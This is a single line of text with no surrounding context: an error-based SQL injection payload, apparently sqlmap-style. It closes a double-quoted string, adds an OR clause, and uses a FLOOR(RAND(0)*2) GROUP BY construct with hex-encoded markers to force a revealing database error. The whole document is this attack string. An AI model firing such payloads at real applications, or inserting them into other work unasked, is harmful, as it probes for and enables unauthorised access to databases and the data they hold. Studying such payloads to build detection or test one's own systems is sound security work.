555"="555" OR ROW(9111,7290)>(SELECT COUNT(*),CONCAT(0x7170767871,(SELECT (ELT(9111=9111,1))),0x716a6a6a71,FLOOR(RAND(0)*2))x FROM (SELECT 4367 UNION SELECT 3380 UNION SELECT 4272 UNION SELECT 4679)a GROUP BY x) AND "555"="555